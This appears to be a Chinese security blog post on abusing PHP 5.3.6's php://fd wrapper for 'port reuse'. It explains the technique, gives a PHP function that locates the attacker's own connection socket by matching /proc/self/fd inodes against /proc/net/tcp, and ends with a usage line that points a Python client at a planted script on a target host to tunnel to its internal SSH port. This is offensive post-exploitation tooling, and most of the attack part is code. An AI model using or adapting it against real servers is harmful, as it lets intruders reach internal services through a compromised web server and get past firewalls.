PHP端口复用的利用

如果还有人记得我当年发在80sec上的那篇《Linux 系统文件描述符继承带来的危害》的话，应该记得当时这个问题已经被apache官方使用FD_CLOSEXEC修复了：由于在系统底层exec其他进程的时候，所有开启的FD就会被自动关闭，因此就没有办法使用system等php函数，在子进程如bash中继续操作原有开启的高权限文件描述符。

但是最近PHP 5.3.6引进了一个新特性：利用fopen("php://fd/fd_number", "w")的形式，可以直接打开并操作当前进程的文件描述符。基本相当于一个fdopen函数调用。

解读一下上面的伪 PHP shell 代码：通过比对netstat -ane（e参数的作用是输出socket号）的输出和/proc/self/fd（当前进程的文件描述符信息）的内容，找到相匹配的socket号，那就是当前连接的socket了，然后立刻重用之。很简单吧？

function find_socket(){
// Get tcp connection status from /proc
$net = file_get_contents("/proc/net/tcp");
$net .= file_get_contents("/proc/net/tcp6");

// Find fd from /proc
$dir = dir("/proc/self/fd");
while (false !== ($e = $dir->read())) {
// Find socket inode in /proc/self/fd.
if (is_link("/proc/self/fd/".$e) && $e != "." && $e != ".."){
if(preg_match("/socket:[(\d+)]/", @readlink("/proc/self/fd/".$e), $m1)){
// Match every socket inode in /proc/net/tcp & /proc/net/tcp6.
// If it matchs this connection remote ip/remote port, bingo! We got it!
if(preg_match("/.*${m1[1]}/", $net, $m2)){
preg_match_all("/(\w{8}):(\w{4})/", $m2[0], $m3);

// decode ips
$sipstring = $m3[1][0][6].$m3[1][0][7].$m3[1][0][4].$m3[1][0][5].$m3[1][0][2].$m3[1][0][3].$m3[1][0][0].$m3[1][0][1];
sscanf($sipstring, "%x", $siplong);
$ripstring = $m3[1][1][6].$m3[1][1][7].$m3[1][1][4].$m3[1][1][5].$m3[1][1][2].$m3[1][1][3].$m3[1][1][0].$m3[1][1][1];
sscanf($ripstring, "%x", $riplong);
$sip = long2ip($siplong);
$rip = long2ip($riplong);

// decode ports
sscanf($m3[2][0], "%x", $sport);
sscanf($m3[2][1], "%x", $rport);

if ($rip == $_SERVER['REMOTE_ADDR'] && $rport == $_SERVER['REMOTE_PORT']){
$dir->close();
return $e; // That is our socket fd.
}
}
}
}
}
$dir->close();
return false;
}

python pr.py http://www.target.com/t.php 127.0.0.1:22